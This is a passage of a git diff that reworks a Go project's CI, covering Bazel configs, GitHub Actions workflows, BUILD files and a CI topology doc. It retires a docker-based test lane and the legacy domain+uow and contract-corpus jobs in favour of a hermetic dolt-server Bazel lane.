variant opts out, like its +# job), no -short, no BEADS_TEST_SKIP=dolt, -test.parallel=4, and the +# no--short twins of the job's other packages. Results are cacheable: every +# input (test binary, dolt, env) is in the action key, and a server that +# cannot start fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) instead +# of skipping. test.xml is downloaded for tools/bazel/equivalence.py --job, +# test.log for bazel.yml's failure artifact. test:doltserver --@rules_go//go/config:race test:doltserver --test_tag_filters=dolt-server test:doltserver --build_tests_only test:doltserver --keep_going test:doltserver --test_env=GO_TEST_WRAP_TESTV=1 test:doltserver --test_arg=-test.parallel=4 -# Locally (fork PRs, rbe=off, no executor): at most 4 test processes, as in -# test:docker; remote workers are not limited by it. +# Locally (rbe=off, no executor): at most 4 test processes, the jobs' 4-vCPU +# runner shape; remote workers are not limited by it. test:doltserver --local_test_jobs=4 test:doltserver --remote_download_regex=.*/test\.(log|xml)$ @@ -262,7 +239,7 @@ test:integration --test_env=BEADS_TEST_SKIP=dolt # required exclusions from the PR-core list, so a new lane tag lands here too. # pr-core-only targets (the historical-release suites: shell tests against # the release-shaped bd, which the PR-core lane already runs) stay out too. -test:integration --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-pr-core-only +test:integration --test_tag_filters=-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-pr-core-only test:integration --build_tests_only test:integration --keep_going test:integration --test_summary=terse @@ -320,14 +297,13 @@ build:js-wasm --remote_download_outputs=toplevel # retry would report green. test:sole-run --experimental_remote_cache_eviction_retries=0 -# Test result caching. Every lane but docker caches its test results (read -# and write; Bazel's default): a test whose action key (test binary, -# runfiles, test env, platform) is unchanged reuses the PASS the farm -# recorded for it, on a PR (any attempt), a merge group or a push to main, -# so only what a change touched runs. Why that is safe: +# Test result caching. Every lane caches its test results (read and write; +# Bazel's default): a test whose action key (test binary, runfiles, test env, +# platform) is unchanged reuses the PASS the farm recorded for it, on a PR +# (any attempt), a merge group or a push to main, so only what a change +# touched runs. Why that is safe: # - Identical key, identical test: these targets are hermetic (dolt and -# every input are runfiles). The docker lane depends on host state no -# key sees and keeps --nocache_test_results above. +# every input are runfiles). # - A cached failure is never reused: Bazel treats a failed cached action # as a miss, so whatever failed re-runs. # - Only rbe-west's workers write the action cache (clients' writes are @@ -385,7 +361,7 @@ build:remote-exec --remote_download_minimal build:remote-exec --remote_timeout=600 build:remote-exec --remote_retries=3 # Upload only remotely executed results. A locally executed action (a -# no-remote-exec test, a host-dependent docker-lane result) must not seed the +# no-remote-exec test, whose result depends on the host) must not seed the # shared cache that CI and every other developer read. build:remote-exec --noremote_upload_local_results diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index fc758e7f5..df5f61c5e 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,6 +1,6 @@ # Bazel side-by-side lane, gated alongside the legacy go test jobs. Runs # `bazel test //... --config=ci`, the PR Core-parity selection (race, -short, -# dolt skip, -requires-docker), plus one job per mirrored CI job (pure-Go and +# dolt skip), plus one job per mirrored CI job (pure-Go and # js/wasm, the dolt-server lane, pr-risk.yml's embedded-Dolt, proxied-server # and server-Dolt storage tiers, main.yml's integration jobs). # @@ -13,9 +13,9 @@ # bazel-coverage job stands down pr-risk.yml's embedded-Dolt test jobs (bazel-embedded runs # the tier), its proxied-server and server-Dolt storage test jobs # (bazel-proxied, bazel-server-storage), or pr.yml's PR Core, -# build-artifacts, pure-Go/js-wasm, domain+uow and contract corpus jobs -# (bazel-test, bazel-pure, bazel-doltserver; their `bazel test`s then add -# --config=sole-run); pr.yml's ci-gate then requires those lanes to have run +# build-artifacts and pure-Go/js-wasm jobs (bazel-test, bazel-pure; their +# `bazel test`s then add --config=sole-run, as bazel-doltserver's does: it +# is the only run of the retired domain+uow and contract corpus jobs' tests); pr.yml's ci-gate then requires those lanes to have run # remotely and passed, so modes skip, local and cache are red there # (scripts/pr_risk_bazel_coverage_test.go, pr_lanes_bazel_coverage_test.go). # Test results are cached (read and written) on every run but nightly's: a @@ -200,12 +200,6 @@ on: required: false type: boolean default: false - dolt-lane: - description: "Dolt-backed lane: doltserver (hermetic, remote) or docker (testcontainers A/B control)" - required: false - type: choice - default: "doltserver" - options: [ "doltserver", "docker" ] fresh-test-results: description: "Re-execute every test (--config=fresh: no cached test results), as nightly does" required: false @@ -798,8 +792,8 @@ jobs: # pr.yml's build-artifacts job, built by Bazel: the same artifact name # and layout (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt). Where - # build-artifacts stands down (D2 step 3), its other consumers (PR - # Core, domain+uow) stand down there too. F3: the package gates build + # build-artifacts stands down (D2 step 3), its other consumer (PR + # Core) stands down there too. F3: the package gates build # their own bd and no longer consume this artifact; it is kept for the # F3.5.3 SHA256SUMS comparison and for debugging. The script documents # which binary and how it differs from `go build`'s. @@ -1379,14 +1373,12 @@ jobs: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" - # pr.yml's container-backed jobs, "Test (storage domain + uow)" and - # "Contract corpus", as Bazel's dolt-server lane: --config=doltserver runs - # the dolt-server variants (domain/..., uow in 8 shards, tracker/..., - # doctor/fix, protocol in 8 shards), each of which starts its own dolt - # sql-server from the pinned dolt, so they execute on the remote workers - # like any other test (locally for forks and rbe=off). The docker lane - # (--config=docker: the same suites against testcontainers on this runner, - # no-remote-exec) stays the A/B control: dispatch with dolt-lane=docker. + # pr.yml's retired container-backed jobs, "Test (storage domain + uow)" + # and "Contract corpus", as Bazel's dolt-server lane: --config=doltserver + # runs the dolt-server variants (domain/..., uow in 8 shards, tracker/..., + # doctor/fix, protocol in 8 shards, testutil), each of which starts its + # own dolt sql-server from the pinned dolt, so they execute on the remote + # workers like any other test (locally with rbe=off). bazel-doltserver: name: dolt-server lane # Same runner and skip rule as bazel-test. @@ -1397,13 +1389,11 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} env: - BAZEL_DOLT_LANE: ${{ inputs.dolt-lane || 'doltserver' }} - # D2 step 3: on covered PRs and merge groups (always mode remote) this - # lane is the only pre-merge run of pr.yml's legacy domain+uow and - # contract corpus jobs, which never retried: --config=sole-run then - # fails on a remote cache eviction instead of re-running the whole - # invocation (whose retry could turn a failed test green). Fork modes do - # the same (with BAZEL_COVERS_FORKS "true" it is their only run too). + # This lane is the only pre-merge run of these suites (the go test + # jobs it replaced never retried): where it executes remotely + # --config=sole-run fails on a remote cache eviction instead of + # re-running the whole invocation (whose retry could turn a failed + # test green). # Test results are cached and reused like every lane's; only nightly # re-executes them all (BAZEL_FRESH). BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }} @@ -1431,12 +1421,6 @@ jobs: RBE_FORK_TIER: ${{ needs.rbe.outputs.tier }} RBE_FORK_PR: ${{ github.event.pull_request.number }} - # Docker lane only (the A/B control), as in the mirrored jobs; its - # tests fail rather than skip without the image. - - name: Pull Dolt sql-server image - if: ${{ env.BAZEL_DOLT_LANE == 'docker' }} - run: ./scripts/ci/pull-dolt-image.sh - - name: bazel test //... --config=doltserver id: test timeout-minutes: 80 @@ -1444,8 +1428,8 @@ jobs: set -o pipefail start=$(date +%s) rc=0 - bazel test //... "--config=$BAZEL_DOLT_LANE" ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? - echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" - name: Upload test logs @@ -1453,7 +1437,7 @@ jobs: uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: overwrite: true # a job re-run is the same run: replace, not 409 - name: bazel-${{ env.BAZEL_DOLT_LANE }}-testlogs + name: bazel-doltserver-testlogs path: | bazel-testlogs/**/test.log bazel-testlogs/**/test.xml diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 6fe5e1b8d..72eb4637b 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -36,10 +36,11 @@ env: # `proxied-server tier` and `server-Dolt storage tier`). BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" # Step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same pr.yml - # run: PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and - # contract corpus (Bazel `test`, `pure-Go and js/wasm`, `dolt-server - # lane`). pr-risk.yml retires nothing for it; its copy only keeps the - # shared bazel-coverage job identical. + # run: PR Core, build-artifacts and the pure-Go/js-wasm check (Bazel + # `test`, `pure-Go and js/wasm`); the `dolt-server lane`, the only run of + # the Dolt-backed domain, uow, tracker, doctor/fix and protocol suites, is + # held to the same rule. pr-risk.yml retires nothing for it; its copy only + # keeps the shared bazel-coverage job identical. BAZEL_RETIRES_LEGACY_PR_LANES: "true" # F4 side-by-side rollout: "false" keeps the native windows-latest jobs # (test-windows-liveness, worktree-remove-windows) as the required pair and @@ -1374,100 +1375,6 @@ jobs: retention-days: 7 if-no-files-found: error - # Focused job for the hexagonal storage layer (internal/storage/domain/* and - # internal/storage/uow). These packages back the proxied-server init path and - # also live behind the existing ./... matrix, but TestDomainDB requires the - # Dolt sql-server image cached locally (testcontainers checks `docker image - # inspect` and skips otherwise). Pulling the image up front guarantees the - # suite actually runs and surfaces failures here with a clear job name. - # - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's - # `dolt-server lane` runs the same packages against a local dolt - # sql-server, and //internal/testutil:testutil_dolt_test checks that - # server against the checked-in fingerprint. Where this job runs, its - # first test step checks the container it uses against the same - # fingerprint, so the two backends cannot drift apart unnoticed. - test-domain-uow: - name: Test (storage domain + uow) - runs-on: ubuntu-latest - needs: [build-artifacts, bazel-coverage] - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - # The race-enabled storage package has outgrown Go's implicit 10-minute - # timeout. Keep both per-package deadlines inside one finite job budget. - timeout-minutes: 35 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Install Dolt CLI - run: ./scripts/ci/install-dolt.sh - - - name: Verify dolt on PATH - run: dolt version - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # Keep tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - # Without this, RequireDoltContainer reports doltNoImage and TestDomainDB skips. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - # The container this job's tests use, and the local server (the - # pinned dolt CLI installed above), against the checked-in - # fingerprint. REQUIRE makes the container half fail, not skip. - - name: Test Dolt server fingerprint (container + local) - env: - BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" - run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ - - - name: Test domain + uow + tracker - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - # internal/storage/domain, internal/storage/uow, and internal/tracker - # run as concurrent package test binaries in this one invocation. - # testcontainers-go shares one Ryuk reaper per host; a failed - # handshake in one process can reap a sibling's live Dolt container - # mid-suite (be-2on). The runner is destroyed after the job, so the - # reaper buys nothing here and only costs this race. - TESTCONTAINERS_RYUK_DISABLED: "true" - run: go test -tags gms_pure_go -race -count=1 -timeout 15m -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/... - - # The doctor/fix DB-backed suite spins its own Dolt container in - # TestMain. BEADS_FIX_REQUIRE_DOLT=1 turns a missing container into a - # hard failure so the suite can never silently skip in CI again - # (bd-nxt5e: it was dark for months); this job pulls the image above. - - name: Test doctor/fix (Dolt-backed, hard-require container) - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - BEADS_FIX_REQUIRE_DOLT: "1" - # Pinned for consistency with the step above: this single-package - # step has no sibling test binary to race for the reaper (be-2on). - TESTCONTAINERS_RYUK_DISABLED: "true" - run: go test -tags gms_pure_go -race -count=1 -timeout 10m -v ./cmd/bd/doctor/fix/ - # `test-macos` / "Test (macos-latest)" used to run here and is deliberately # removed (F4, PR CI -> 5 min). It was a non-required, PR-side mirror of # main.yml's `test` job's macOS leg (full `go test -race -short ./...`), @@ -1488,66 +1395,6 @@ jobs: # they are not a substitute. If this tradeoff turns out to be wrong, # reinstate a PR-side mirror rather than relying on main.yml alone. - # Producer-side guard for the Beads<->consumer CLI contract. Runs the whole - # cmd/bd/protocol package: the golden corpus (regenerated from this branch's - # bd and byte-compared to the committed testdata/corpus/, so an unreviewed - # wire change is a hard failure — run `make corpus-regen`), the double-run - # determinism check, and the TestProtocol_/TestJSONContract_ behavioral - # conformance suite that pins the CLI's JSON payloads and semantics. - # - # Run the PACKAGE, never a -run subset: a filter here is what let the - # conformance tests sit red on main for ~3 months while every CI run was - # green (they matched no job's -run, and every broad ./... job skips them - # for want of a Dolt store). Package scope means a newly added protocol test - # is gated the moment it lands. - # - # Needs the Dolt sql-server image (the protocol harness spins a container). - # ~10 min: each test builds an isolated Dolt-backed workspace. If that ever - # becomes unacceptable on PRs, shard this job by an exhaustive `go test - # -list` partition — do not reintroduce a hand-written -run regex. - # - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's - # `dolt-server lane` runs the package (//cmd/bd/protocol:protocol_dolt_test). - contract-corpus: - name: Contract corpus (golden + determinism + conformance) - runs-on: ubuntu-latest - needs: bazel-coverage - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Install Dolt CLI - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # Keep tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Protocol conformance + corpus golden + determinism - # Require a live Dolt store here: this is the gate that must exercise the - # conformance, golden and double-run checks, so a failed container is a - # hard failure, not a silent skip (see requireDoltStore in the - # cmd/bd/protocol tests). - # - # -timeout is explicit because the package runs well past `go test`'s - # 10m default; without it a slow runner reports a panic, not a verdict. - env: - BEADS_PROTOCOL_REQUIRE_DOLT: "1" - run: go test -tags gms_pure_go -count=1 -timeout 30m ./cmd/bd/protocol - # F7a: fold of a 3-host matrix (native, msys2, cygwin) into one sequential # job on a single windows-latest runner. Review SF-1 (2026-10-03): only the # Cygwin *setup* step keeps `continue-on-error: true` (a flaky installer @@ -2085,16 +1932,15 @@ jobs: } # The Bazel lane (bazel.yml), gated alongside the legacy jobs it mirrors - # (PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and - # contract corpus, and pr-risk.yml's embedded-Dolt, proxied-server and + # (PR Core, build-artifacts, the pure-Go/js-wasm check, and + # pr-risk.yml's embedded-Dolt, proxied-server and # server-Dolt storage tiers), all of which stay required ids, but stand # down on same-repo PRs with a non-Dependabot actor, and on merge groups, # while their D2 flag is "true" (bazel-coverage): pr-risk.yml's embedded-Dolt test jobs # (BAZEL_RETIRES_LEGACY_EMBEDDED, step 1), its proxied-server and # server-Dolt storage test jobs (BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS, - # step 2), and this workflow's PR Core, build-artifacts, pure-Go/js-wasm, - # domain+uow and contract corpus jobs (BAZEL_RETIRES_LEGACY_PR_LANES, - # step 3). ci-gate then requires this call's lanes for them (embedded; + # step 2), and this workflow's PR Core, build-artifacts and pure-Go/js-wasm + # jobs (BAZEL_RETIRES_LEGACY_PR_LANES, step 3). ci-gate then requires this call's lanes for them (embedded; # proxied and server-storage; test, pure and doltserver) to have run # remotely and passed. bazel.yml has no pull_request/merge_group trigger # of its own: this call is its only PR run. It gets the four RBE secrets @@ -2135,9 +1981,9 @@ jobs: # D2: pr-risk.yml's bazel-coverage job, verbatim (policy-tested # identical). Where it says a tier is covered, PR Risk skips that tier's # legacy test jobs (embedded, dolt_server), or this workflow skips its own - # (pr_lanes: build-artifacts, PR Core, the pure-Go/js-wasm check, - # domain+uow and contract corpus), so ci-gate requires the tier's Bazel - # lanes to have run remotely and passed in this run. + # (pr_lanes: build-artifacts, PR Core, the pure-Go/js-wasm check), so + # ci-gate requires the tier's Bazel lanes to have run remotely and passed + # in this run. bazel-coverage: name: Bazel tier coverage # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, @@ -2245,8 +2091,6 @@ jobs: - pr-core-wrapper - scripts-go-checks - pr-lint-wrapper - - test-domain-uow - - contract-corpus - windows-make-shell - bazel - bazel-coverage @@ -2271,8 +2115,6 @@ jobs: PR_CORE_WRAPPER SCRIPTS_GO_CHECKS PR_LINT_WRAPPER - TEST_DOMAIN_UOW - CONTRACT_CORPUS WINDOWS_MAKE_SHELL BAZEL BAZEL_TEST @@ -2322,8 +2164,6 @@ jobs: PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} PR_LINT_WRAPPER: ${{ needs.pr-lint-wrapper.result }} - TEST_DOMAIN_UOW: ${{ needs.test-domain-uow.result }} - CONTRACT_CORPUS: ${{ needs.contract-corpus.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} # bazel.yml's lanes report their job.status as outputs; a lane that # did not report (skipped, or lost before its last step) reads as @@ -2387,7 +2227,7 @@ jobs: # bazel-coverage says pr_lanes (exactly "true"); their Bazel lanes # are then required below. if [[ "$BAZEL_COVERS_PR_LANES" == "true" ]]; then - skipped_ok="$skipped_ok BUILD_ARTIFACTS CHECK_CMD_BD_PUREGEO_TESTS PR_CORE_WRAPPER TEST_DOMAIN_UOW CONTRACT_CORPUS" + skipped_ok="$skipped_ok BUILD_ARTIFACTS CHECK_CMD_BD_PUREGEO_TESTS PR_CORE_WRAPPER" fi # Where a legacy tier is retired (by PR Risk or by this # workflow), this run's Bazel lanes for it are the tier's only @@ -2415,6 +2255,6 @@ jobs: } retired BAZEL_EMBEDDED_RETIRED BAZEL_RETIRES_LEGACY_EMBEDDED "$BAZEL_COVERS_EMBEDDED" "PR Risk embedded Dolt tier" BAZEL_EMBEDDED retired BAZEL_DOLT_SERVER_RETIRED BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS "$BAZEL_COVERS_DOLT_SERVER" "PR Risk proxied-server and server-Dolt storage tiers" BAZEL_PROXIED BAZEL_SERVER_STORAGE - retired BAZEL_PR_LANES_RETIRED BAZEL_RETIRES_LEGACY_PR_LANES "$BAZEL_COVERS_PR_LANES" "PR Core, build-artifacts, pure-Go/js-wasm, domain+uow and contract corpus jobs" BAZEL_TEST BAZEL_PURE BAZEL_DOLTSERVER + retired BAZEL_PR_LANES_RETIRED BAZEL_RETIRES_LEGACY_PR_LANES "$BAZEL_COVERS_PR_LANES" "PR Core, build-artifacts and pure-Go/js-wasm jobs (and the dolt-server lane)" BAZEL_TEST BAZEL_PURE BAZEL_DOLTSERVER export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index adc25eb0a..af5e6d02b 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -97,41 +97,12 @@ go_test( ], ) -# The Dolt-backed half of fix_test, as pr.yml's "Test doctor/fix (Dolt-backed, -# hard-require container)" job runs it: TestMain starts a dolt sql-server -# container through testcontainers, and BEADS_FIX_REQUIRE_DOLT=1 turns a -# missing container into a failure instead of a silent skip. fix_test itself -# stays untagged: under --config=prcore (BEADS_TEST_SKIP=dolt, like pr-core's -# `go test`) it never touches docker and runs anywhere. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "fix_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :fix_test)"], - data = [":fix_test"], - # Pinned to the container backend (the docker lane is the A/B control); - # rule env beats --test_env, so =local on the command line cannot flip it. - env = { - "BEADS_FIX_REQUIRE_DOLT": "1", - "BEADS_TEST_DOLT_SERVER": "container", - }, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# The Dolt-backed half of fix_test, as pr.yml's "Test doctor/fix (Dolt-backed, -# hard-require container)" step runs it, on the dolt-server lane: TestMain's -# server is a local `dolt sql-server` child of the test process, and -# BEADS_FIX_REQUIRE_DOLT=1 keeps the suite from skipping when it cannot start. -# fix_docker_test is the A/B control. 4 shards: unsharded it was the lane's -# critical path (~4 min remotely). +# The Dolt-backed half of fix_test, as the retired "Test doctor/fix +# (Dolt-backed, hard-require container)" step ran it, on the dolt-server +# lane: TestMain's server is a local `dolt sql-server` child of the test +# process, and BEADS_FIX_REQUIRE_DOLT=1 keeps the suite from skipping when it +# cannot start. +# 4 shards: unsharded it was the lane's critical path (~4 min remotely). # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index fe4310f4c..04a4c35b6 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -53,67 +53,32 @@ go_test( ], ) -# protocol_test without the race detector, which --config=docker otherwise -# turns on for every target: pr.yml's "Contract corpus" job runs +# protocol_test without the race detector, which --config=doltserver +# otherwise turns on for every target: the contract corpus has always run # `go test ./cmd/bd/protocol` without -race (PR Core covers the race build). # Matching it is cheap: tools/bazel/race.bzl lands protocol_test's deps in # the configuration the non-race //cmd/bd:bd_for_tests already builds them in, # so the extra work is protocol_test's test-only libraries and one link. # Racing it instead would also be acceptable (a race-only failure is a real -# bug); then drop this target and point protocol_docker_test back at +# bug); then drop this target and point protocol_dolt_test back at # :protocol_test. # # Tags: -# manual: only protocol_docker_test's input, never a build target of its +# manual: only protocol_dolt_test's input, never a build target of its # own. `bazel test //...` in every lane still builds it through -# protocol_docker_test (a test tag filter does not stop the build). +# protocol_dolt_test (a test tag filter does not stop the build). go_test_race_off( name = "protocol_race_off", tags = ["manual"], test = ":protocol_test", ) -# protocol_test as pr.yml's "Contract corpus" job runs it: non-race, TestMain -# starts a dolt sql-server container and BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a -# missing container into a failure instead of a skip. It repeats -# protocol_test's `env` (go_test_variant.sh cannot inherit it). protocol_test -# itself stays untagged: under --config=prcore (BEADS_TEST_SKIP=dolt) its -# Dolt-backed tests skip. -# -# Tags: -# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, -# selected by --config=docker. -# no-remote-exec: the daemon is on the host, not on remote workers. -sh_test( - name = "protocol_docker_test", - size = "large", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :protocol_race_off)"], - data = [ - ":protocol_race_off", - "//cmd/bd:bd_for_tests", - ], - # Pinned to the container backend (the docker lane is the A/B control); - # rule env beats --test_env, so =local on the command line cannot flip it. - env = { - "BEADS_PROTOCOL_REQUIRE_DOLT": "1", - "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", - "BEADS_TEST_DOLT_SERVER": "container", - }, - # ~10 min unsharded without -race in pr.yml. - shard_count = 8, - tags = [ - "no-remote-exec", - "requires-docker", - ], -) - -# protocol_test as pr.yml's "Contract corpus" job runs it (non-race, like the -# job; see protocol_race_off), on the dolt-server lane: TestMain's server is a +# protocol_test as the retired "Contract corpus" job ran it (non-race, like +# the job; see protocol_race_off), on the dolt-server lane: TestMain's server is a # local `dolt sql-server` child of the test process, and # BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a server that cannot start into a # failure, so the golden and double-run determinism tests cannot skip. It -# repeats protocol_test's `env`. protocol_docker_test is the A/B control. +# repeats protocol_test's `env`. # # Tags: # dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index d879d6c8e..d78878efc 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -645,9 +645,7 @@ Do not require these existing check names directly: the former `test-windows-doltversion` and `test-windows-dbproxy-server`) - `Test (ubuntu-latest)` - `Test (macos-latest)` -- `Test (storage domain + uow)` - `Go checks (vet)` -- `Contract corpus (golden + determinism + conformance)` - `PR Core (wrapper timing)` - `Build Artifacts` - `Bazel tier coverage` @@ -790,9 +788,9 @@ intentionally absent for that event or risk tier: `TEST_SERVER_STORAGE_FULL` when it reported `dolt_server=true`; and `BUILD_EMBEDDED` when it reported both. `BAZEL_COVERAGE` (that job's result) must be `success`. -- In the baseline aggregate, `BUILD_ARTIFACTS`, `PR_CORE_WRAPPER`, - `CHECK_CMD_BD_PUREGEO_TESTS`, `TEST_DOMAIN_UOW` and `CONTRACT_CORPUS` may - be `skipped` when `bazel-coverage` reported `pr_lanes=true`. +- In the baseline aggregate, `BUILD_ARTIFACTS`, `PR_CORE_WRAPPER` and + `CHECK_CMD_BD_PUREGEO_TESTS` may be `skipped` when `bazel-coverage` + reported `pr_lanes=true`. - In the baseline aggregate, `BAZEL_COVERAGE` must be `success`; `BAZEL_EMBEDDED_RETIRED` is red when `embedded=true` but the Bazel embedded lane did not run remotely and pass, `BAZEL_DOLT_SERVER_RETIRED` when @@ -870,7 +868,7 @@ D2 retires legacy test jobs on same-repo PRs, one step at a time, where | --- | --- | --- | --- | --- | | 1 | `test-embedded-storage` x5, `test-embedded-conformance` x2, `test-embedded-cmd` x20 | `bazel-embedded` (`--config=embedded`) | `BAZEL_RETIRES_LEGACY_EMBEDDED` | `BAZEL_EMBEDDED_RETIRED` | | 2 | `test-proxied-cmd` x15, `test-server-storage`, `test-server-storage-full` x16 | `bazel-proxied` (`--config=doltserver-proxied`), `bazel-server-storage` (`--config=doltserver-integration`) | `BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS` | `BAZEL_DOLT_SERVER_RETIRED` | -| 3 | `pr.yml`: `pr-core-wrapper` (PR Core), `build-artifacts`, `check-cmd-bd-puregeo-tests` (pure-Go and js/wasm), `test-domain-uow`, `contract-corpus` | `bazel-test` (`--config=ci`, which also publishes `bazel-ci-build-artifacts`), `bazel-pure` (`--config=pure`, `--config=js-wasm`), `bazel-doltserver` (`--config=doltserver`) | `BAZEL_RETIRES_LEGACY_PR_LANES` | `BAZEL_PR_LANES_RETIRED` | +| 3 | `pr.yml`: `pr-core-wrapper` (PR Core), `build-artifacts`, `check-cmd-bd-puregeo-tests` (pure-Go and js/wasm) | `bazel-test` (`--config=ci`, which also publishes `bazel-ci-build-artifacts`), `bazel-pure` (`--config=pure`, `--config=js-wasm`), `bazel-doltserver` (`--config=doltserver`; the only run of the former `test-domain-uow` and `contract-corpus` suites) | `BAZEL_RETIRES_LEGACY_PR_LANES` | `BAZEL_PR_LANES_RETIRED` | @@ -882,16 +880,15 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - Step 3 specifics (`pr.yml`'s own jobs, so the legacy jobs and their Bazel lanes run in the same `pr.yml` run): - - The five jobs add `needs: bazel-coverage` and + - The three jobs add `needs: bazel-coverage` and `if: needs.bazel-coverage.outputs.pr_lanes != 'true'`; `pr.yml`'s gate accepts their skips only when `pr_lanes` is exactly `true`, and then requires `BAZEL_TEST`, `BAZEL_PURE` and `BAZEL_DOLTSERVER` to have run remotely and passed (`BAZEL_PR_LANES_RETIRED`). `pr-risk.yml` commits the flag too, only so the shared `bazel-coverage` job stays identical; nothing in PR Risk reads `pr_lanes`. - - Artifact consumers: `build-artifacts`' `ci-build-artifacts` fed PR Core, - domain+uow and (before F3) the package gates; all three now stand down - with it. No other job in any workflow reads `pr.yml`'s artifacts + - Artifact consumers: `build-artifacts`' `ci-build-artifacts` feeds PR + Core, which stands down with it. No other job in any workflow reads `pr.yml`'s artifacts (`docs-autofix.yml` reads `check-doc-flags`' `cli-docs-freshness-patch`, which is unaffected). - F3: the package gates (`package-mcp`, `package-npm`) moved into @@ -914,15 +911,14 @@ manifests. On those PRs they are the tiers' only pre-merge run, and timing measured there), `ubuntu-latest` 